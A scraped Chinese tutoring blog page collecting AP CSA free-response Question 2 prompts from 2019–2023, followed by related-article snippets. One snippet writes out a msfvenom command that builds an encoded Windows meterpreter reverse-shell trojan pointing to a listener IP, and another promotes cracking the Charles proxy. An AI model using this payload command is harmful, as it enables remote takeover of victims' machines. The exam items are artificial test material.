AP CSA FRQ Q2 Past Paper 五年真題匯總 2023-2019

Author(wechat): bigshuang2020
ap csa tutor, providing 1-on-1 tutoring.
國際教育計算機老師, 擅長答疑講解,帶學生實踐學習。
熱愛創作,作品:ap csa原創雙語教案,真題梳理匯總, AP CSA FRQ專題沖刺, AP CSA MCQ小題狂練。

2023 FRQ Q2 Sign

This question involves methods that distribute text across lines of an electronic sign. The electronic sign and the text to be displayed on it are represented by the Sign class. You will write the complete Sign class, which contains a constructor and two methods.

The Sign class constructor has two parameters. The first parameter is a String that contains the message to be displayed on the sign. The second parameter is an int that contains the w i d t h width width of each line of the sign. The width is the positive maximum number of characters that can be displayed on a single line of the sign.
A sign contains as many lines as are necessary to display the entire message. The message is split among the lines of the sign without regard to spaces or punctuation. Only the last line of the sign may contain fewer characters than the width indicated by the constructor parameter
The following are examples of a message displayed on signs of different widths. Assume that in each example, the sign is declared with the width specified in the first column of the table and with the message "Everything on sale,please come in", which contains 34 characters.

在這里插入圖片描述

In addition to the constructor, the Sign class contains two methods.
The numberOfLines method returns an int representing the number of lines needed to display the text on the sign. In the previous examples, numberOfLines would return 3, 2, and 1, respectively for the sign widths shown in the table.

The getLines method returns a String containing the message broken into lines separated by semicolons (😉 or returns null if the message is the empty string. The constructor parameter that contains the message to be displayed will not include any semicolons. As an example, in the first row of the preceding table, getLines would return "Everything on s;ale, please com;e in".No semicolon should appear at the end of the String returned by getLines.

The following table contains a sample code execution sequence and the corresponding results. The code execution sequence appears in a class other than Sign.

StatementMethod Call Return Value (blank if none)Explanation
String str;
int x;
Sign sign1 = new Sign("ABC222DE", 3);The message for sign1 contains 8 characters, and the sign has lines of width 3.
x = sign1.numberOfLines();3The sign needs three lines to display the 8-character message on a sign with lines of width 3.
str = sign1.getLines();"ABC;222;DE"Semicolons separate the text displayed on the first, second, and third lines of the sign.
str = sign1.getLines();"ABC;222;DE"Successive calls to getLines return the same value.
Sign sign2 = new Sign("ABCD", 10);The message for sign2 contains 4 characters, and the sign has lines of width 10.
x = sign2.numberOfLines();1The sign needs one line to display the 4-character message on a sign with lines of width 10.
str = sign2.getLines();"ABCD"No semicolon appears, since the text to be displayed fits on the first line of the sign.
Sign sign3 = new Sign("ABCDEF", 6);The message for sign3 contains 6 characters, and the sign has lines of width 6.
x = sign3.numberOfLines();1The sign needs one line to display the 6-character message on a sign with lines of width 6.
str = sign3.getLines();"ABCDEF"No semicolon appears, since the text to be displayed fits on the first line of the sign.
Sign sign4 = new Sign("", 4);The message for sign4 is an empty string.
x = sign4.numberOfLines();0There is no text to display.
str = sign4.getLines();nullThere is no text to display.
Sign sign5 = new Sign("AB_CD_EF", 2);The message for sign5 contains 8 characters, and the sign has lines of width 2.
x = sign5.numberOfLines();4The sign needs four lines to display the 8-character message on a sign with lines of width 2.
str = sign5.getLines();"AB;_C;D_;EF"Semicolons separate the text displayed on the four lines of the sign.

Write the complete Sign class. Your implementation must meet all specifications and conform to theexamples shown in the preceding table.

2022 FRQ Q2 Book & Textbook

The Book class is used to store information about a book.
A partial Book class definition is shown.

public class Book {/** The title of the book */private String title;/** The price of the book */private double price;/** Creates a new Book with given title and price */public Book(String bookTitle, double bookPrice) {/* implementation not shown */}/** Returns the title of the book */public String getTitle() {return title;}/** Returns a string containing the title and price of the Book */public String getBookInfo() {return title + "-" + price;}// There may be instance variables, constructors, and methods that are not shown.
}

You will write a class Textbook, which is a subclass of Book.
A Textbook has an edition number, which is a positive integer used to identify different versions of the book.
The getBookInfo method, when called on a Textbook, returns a string that also includes the edition information, as shown in the example.

Information about the book title and price must be maintained in the Book class.
Information about the edition must be maintained in the Textbook class.

The Textbook class contains an additional method, canSubstituteFor, which returns true if a Textbook is a valid substitute for another Textbook and returns false otherwise.
The current Textbook is a valid substitute for the Textbook referenced by the parameter of the canSubstituteFor method if the two Textbook objects have the same title and if the edition of the current Textbook is greater than or equal to the edition of the parameter.

The following table contains a sample code execution sequence and the corresponding results.
The code execution sequence appears in a class other than Book or Textbook.

StatementValue Returned (blank if no value)Class Specification
Textbook bio2015 = new Textbook("Biology", 49.75, 2);bio2015 is a Textbook with a title of "Biology", a price of 49.75, and an edition of 2.
Textbook bio2019 = new Textbook("Biology", 39.75, 3);bio2019 is a Textbook with a title of "Biology", a price of 39.75, and an edition of 3.
bio2019.getEdition();3The edition is returned.
bio2019.getBookInfo();"Biology-39.75-3"The formatted string containing the title, price, and edition of bio2019 is returned.
bio2019.canSubstituteFor(bio2015);truebio2019 is a valid substitute for bio2015, since their titles are the same and the edition of bio2019 is greater than or equal to the edition of bio2015.
bio2015.canSubstituteFor(bio2019);falsebio2015 is not a valid substitute for bio2019, since the edition of bio2015 is less than the edition of bio2019.
Textbook math = new Textbook("Calculus", 45.25, 1);math is a Textbook with a title of "Calculus", a price of 45.25, and an edition of 1.
bio2015.canSubstituteFor(math);falsebio2015 is not a valid substitute for math, since the title of bio2015 is not the same as the title of math.

Write the complete Textbook class. Your implementation must meet all specifications and conform to the examples shown in the preceding table.

2021 FRQ Q2 SingleTable

  1. The class SingleTable represents a table at a restaurant.
public class SingleTable {/*** Returns the number of seats at this table. The value is always greater than or equal to 4.*/public int getNumSeats() { /*implementation not shown*/ }/*** Returns the height of this table in centimeters.*/public int getHeight() { /*implementation not shown*/ }/*** Returns the quality of the view from this table.*/public double getViewQuality() { /*implementation not shown*/ }/*** Sets the quality of the view from this table to value.*/public void setViewQuality(double value) { /*implementation not shown*/ }// There may be instance variables, constructors, and methods that are not shown.
}

At the restaurant, customers can sit at tables that are composed of two single tables pushed together. You will write a class CombinedTable to represent the result of combining two SingleTable objects, based on the following rules and the examples in the chart that follows.

  • A CombinedTable can seat a number of customers that is two fewer than the total number of seats in its two SingleTable objects (to account for seats lost when the tables are pushed together).
  • A CombinedTable has a desirability that depends on the views and heights of the two single tables. If the two single tables of a CombinedTable object are the same height, the desirability of the CombinedTable object is the average of the view qualities of the two single tables.
  • If the two single tables of a CombinedTable object are not the same height, the desirability of the CombinedTable object is 10 units less than the average of the view qualities of the two single tables.

Assume SingleTable objects t1, t2, and t3 have been created as follows.

  • SingleTable t1 has 4 seats, a view quality of 60.0, and a height of 74 centimeters.
  • SingleTable t2 has 8 seats, a view quality of 70.0, and a height of 74 centimeters.
  • SingleTable t3 has 12 seats, a view quality of 75.0, and a height of 76 centimeters.

The chart contains a sample code execution sequence and the corresponding results.

StatementValue Returned (blank if no value)Class Specification
CombinedTable c1 = new CombinedTable(t1, t2);A CombinedTable is composed of two SingleTable objects.
c1.canSeat(9);trueSince its two single tables have a total of 12 seats, c1 can seat 10 or fewer people.
c1.canSeat(11);falsec1 cannot seat 11 people.
c1.getDesirability();65.0Because c1’s two single tables are the same height, its desirability is the average of 60.0 and 70.0.
CombinedTable c2 = new CombinedTable(t2, t3);A CombinedTable is composed of two SingleTable objects.
c2.canSeat(18);trueSince its two single tables have a total of 20 seats, c2 can seat 18 or fewer people.
c2.getDesirability();62.5Because c2’s two single tables are not the same height, its desirability is 10 units less than the average of 70.0 and 75.0.
t2.setViewQuality(80);Changing the view quality of one of the tables that makes up c2 changes the desirability of c2, as illustrated in the next line of the chart. Since setViewQuality is a SingleTable method, you do not need to write it.
c2.getDesirability();67.5Because the view quality of t2 changed, the desirability of c2 has also changed.

The last line of the chart illustrates that when the characteristics of a SingleTable change, so do those of the CombinedTable that contains it.

Write the complete CombinedTable class. Your implementation must meet all specifications and conform to the examples shown in the preceding chart.

2020 FRQ Q2 GameSpinner

This question involves the creation and use of a spinner to generate random numbers in a game.
A GameSpinner object represents a spinner with a given number of sectors, all equal in size.
The GameSpinner class supports the following behaviors.

  • Creating a new spinner with a specified number of sectors
  • Spinning a spinner and reporting the result
  • Reporting the length of the c u r r e n t r u n current run currentrun, the number of consecutive spins that are the same as the most recent spin
    The following table contains a sample code execution sequence and the corresponding results.
StatementsValue Returned (blank if no value returned)Comment
GameSpinner g = new GameSpinner(4);Creates a new spinner with four sectors.
g.currentRun();0Returns the length of the current run. The length of the current run is initially 0 because no spins have occurred.
g.spin();3Returns a random integer between 1 and 4, inclusive. In this case, 3 is returned.
g.currentRun();1The length of the current run is 1 because there has been one spin of 3 so far.
g.spin();3Returns a random integer between 1 and 4, inclusive. In this case, 3 is returned.
g.currentRun();2The length of the current run is 2 because there have been two 3s in a row.
g.spin();4Returns a random integer between 1 and 4, inclusive. In this case, 4 is returned.
g.currentRun();1The length of the current run is 1 because the spin of 4 is different from the value of the spin in the previous run of two 3s.
g.spin();3Returns a random integer between 1 and 4, inclusive. In this case, 3 is returned.
g.currentRun();1The length of the current run is 1 because the spin of 3 is different from the value of the spin in the previous run of one 4.
g.spin();1Returns a random integer between 1 and 4, inclusive. In this case, 1 is returned.
g.spin();1Returns a random integer between 1 and 4, inclusive. In this case, 1 is returned.
g.spin();1Returns a random integer between 1 and 4, inclusive. In this case, 1 is returned.
g.currentRun();3The length of the current run is 3 because there have been three consecutive 1s since the previous run of one 3.

Write the complete GameSpinner class. Your implementation must meet all specifications and conform to the example.

2019 FRQ Q2 StepTracker

This question involves the implementation of a fitness tracking system that is represented by the StepTracker class. A StepTracker object is created with a parameter that defines the minimum number of steps that must be taken for a day to be considered active.

The StepTracker class provides a constructor and the following methods

  • addDailySteps, which accumulates information about steps, in readings taken once per day
  • activeDays, which returns the number of active days
  • averageSteps, which returns the average number of steps per day, calculated by dividing thetotal number of steps taken by the number of days tracked

The following table contains a sample code execution sequence and the corresponding results.

Statements and ExpressionsValue Returned (blank if no value)Comment
StepTracker tr = new StepTracker(10000);Days with at least 10,000 steps are considered active. Assume that the parameter is positive.
tr.activeDays();0No data have been recorded yet.
tr.averageSteps();0.0When no step data have been recorded, the averageSteps method returns 0.0.
tr.addDailySteps(9000);This is too few steps for the day to be considered active.
tr.addDailySteps(5000);This is too few steps for the day to be considered active.
tr.activeDays();0No day had at least 10,000 steps.
tr.averageSteps();7000.0The average number of steps per day is (14000 / 2).
tr.addDailySteps(13000);This represents an active day.
tr.activeDays();1Of the three days for which step data were entered, one day had at least 10,000 steps.
tr.averageSteps();9000.0The average number of steps per day is (27000 / 3).
tr.addDailySteps(23000);This represents an active day.
tr.addDailySteps(1111);This is too few steps for the day to be considered active.
tr.activeDays();2Of the five days for which step data were entered, two days had at least 10,000 steps.
tr.averageSteps();10222.2The average number of steps per day is (51111 / 5).

Write the complete StepTracker class, including the constructor and any required instance variables and methods. Your implementation must meet all specifications and conform to the example.

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/73514.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/73514.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/73514.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

線程池詳解:在SpringBoot中的最佳實踐

線程池詳解:在SpringBoot中的最佳實踐 引言 在Java并發編程中,線程池是一種非常重要的資源管理工具,它允許我們在應用程序中有效地管理和重用線程,從而提高性能并降低資源消耗。特別是在SpringBoot等企業級應用中,正…

2025年IT行業技術革命全景解析:從AI到量子計算的落地實踐

簡介 2025年,全球IT行業正經歷一場由AI、量子計算、物聯網等技術驅動的變革。從BOE的AI制造系統到德易科技的無人機光伏巡檢,從鯤鵬處理器的國產化突破到量子計算的算力革命,技術創新正在重塑產業格局。本文結合最新行業動態與實戰案例&…

JVM - 年輕代和老年代

通過一些問題來討論 JVM 中年輕代和老年代的內容 為什么要區分年輕代和老年代?哪些對像會進入老年代?什么時候會進行年輕代GC?什么時候會進行老年代GC? 1. 為什么要區分年輕代和老年代? 年輕代中的對象大部分都是短期…

【react】在react中async/await一般用來實現什么功能

目錄 基本概念 工作原理 優點 注意事項 底層原理 實際應用場景 1. 數據獲取 (API 請求) 2. 表單提交 3. 異步狀態管理 4. 異步路由切換 5. 異步數據預加載 6. 第三方 API 調用 7. 文件上傳/下載 8. 路由導航攔截 關鍵注意事項 基本概念 async 函數:用…

高維小樣本數據的在線流特征選擇

發布于24年國際學習和控制論雜志 文獻地址 簡要總結 《Online streaming feature selection for high-dimensional small-sample data》研究了高維小樣本數據(HDSS)在類別不平衡情況下的在線流式特征選擇問題,提出了一種名為OSFSHS的算法。…

1688.item_search_seller-搜索店鋪列表接口返回數據說明

一、接口概述 item_search_seller 是 1688 提供的一個 API 接口,用于搜索店鋪列表。通過該接口,開發者可以查詢特定店鋪的相關信息,包括店鋪的基本信息、商品列表等。該接口廣泛應用于電商數據采集、市場調研、店鋪分析等場景。 二、接口請…

uniapp主題切換功能,適配H5、小程序

實現方法 方法性能消耗維護成本適用場景內聯樣式較高低小程序CSS變量屬性選擇器低中H5混合方案中等低跨平臺項目 優勢特點 性能優化: H5端使用CSS原生變量切換小程序端使用高效樣式字符串生成切換動畫流暢 維護性提升 主題配置集中管理新增主題只需要拓展vars對象…

線程未關閉導致資源泄漏

文章目錄 資源泄漏(線程未關閉)問題描述錯誤實現優化原理正確實現優化原理 資源泄漏(線程未關閉) 問題描述 應用程序啟動時創建線程池處理任務,但未在應用關閉時正確關閉線程池。 現象: 應用重啟時&…

MSF木馬的生成及免殺

先簡單生成一個木馬 ┌──(kali?kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#實現UDP服務器

對UDP服務器的要求 如同TCP通信一樣讓UDP服務端可以服務多個客戶端 需要具備的條件: 1.區分消息類型(不需要處理分包、黏包) 2.能夠接收多個客戶端的消息 3.能夠主動給自己發過消息的客戶端發消息(記錄客戶端信息)…

如何在 Postman 中發送 PUT 請求?

在 Postman 中發送 PUT 請求的步驟相對簡單,包括新建接口、選擇 PUT 方法、填寫 URL 和參數等幾個主要步驟。 Postman 發送 put 請求教程

charles抓包軟件免費使用教程

本文將給大家介紹Charles破解教程,支持Windows和Mac系統,操作簡單,永久免費使用。同時,我們也會提到另一款強大的抓包工具——SniffMaster(抓包大師),它在網絡調試和數據包分析方面同樣表現出色…

卷積神經網絡 - 參數學習

本文我們通過兩個簡化的例子,展示如何從前向傳播、損失計算,到反向傳播推導梯度,再到參數更新,完整地描述卷積層的參數學習過程。 一、例子一 我們構造一個非常簡單的卷積神經網絡,其結構僅包含一個卷積層和一個輸出…

.NET三層架構詳解

.NET三層架構詳解 文章目錄 .NET三層架構詳解引言什么是三層架構表示層(Presentation Layer)業務邏輯層(Business Logic Layer,BLL)數據訪問層(Data Access Layer,DAL) .NET三層架構…

Redis實戰常用二、緩存的使用

一、什么是緩存 在實際開發中,系統需要"避震器",防止過高的數據訪問猛沖系統,導致其操作線程無法及時處理信息而癱瘓. 這在實際開發中對企業講,對產品口碑,用戶評價都是致命的。所以企業非常重視緩存技術; 緩存(Cache):就是數據交換的緩沖區&…

STM32八股【2】-----ARM架構

1、架構包含哪幾部分內容 寄存器處理模式流水線MMU指令集中斷FPU總線架構 2、以STM32為例進行介紹 2.1 寄存器 寄存器名稱作用R0-R3通用寄存器用于數據傳遞、計算及函數參數傳遞;R0 也用于存儲函數返回值。R4-R12通用寄存器用于存儲局部變量,減少頻繁…

effective Java 學習筆記(第二彈)

effective Java 學習筆記(第一彈) 整理自《effective Java 中文第3版》 本篇筆記整理第3,4章的內容。 重寫equals方法需要注意的地方 自反性:對于任何非空引用 x,x.equals(x) 必須返回 true。對稱性:對于…

mac命令行快捷鍵

光標移動 Ctrl A: 將光標移動到行首。Ctrl E: 將光標移動到行尾。Option 左箭頭: 向左移動一個單詞。Option 右箭頭: 向右移動一個單詞。 刪除和修改 Ctrl K: 刪除從光標到行尾的所有內容。Ctrl U: 刪除從光標到行首的所有內容。Ctrl W: 刪除光標前的一個單詞。Ctrl …

CentOS 7部署主域名服務器 DNS

1. 安裝 BIND 服務和工具 yum install -y bind bind-utils 2. 配置 BIND 服務 vim /etc/named.conf 修改以下配置項: listen-on port 53 { any; }; # 監聽所有接口allow-query { any; }; # 允許所有設備查詢 3 . 添加你的域名區域配置 …

優化 SQL 語句方向和提升性能技巧

優化 SQL 語句是提升 MySQL 性能的關鍵步驟之一。通過優化 SQL 語句,可以減少查詢時間、降低服務器負載、提高系統吞吐量。以下是優化 SQL 語句的方法、策略和技巧: 一、優化 SQL 語句的方法 1. 使用 EXPLAIN 分析查詢 作用:查看 SQL 語句的執行計劃,了解查詢是如何執行的…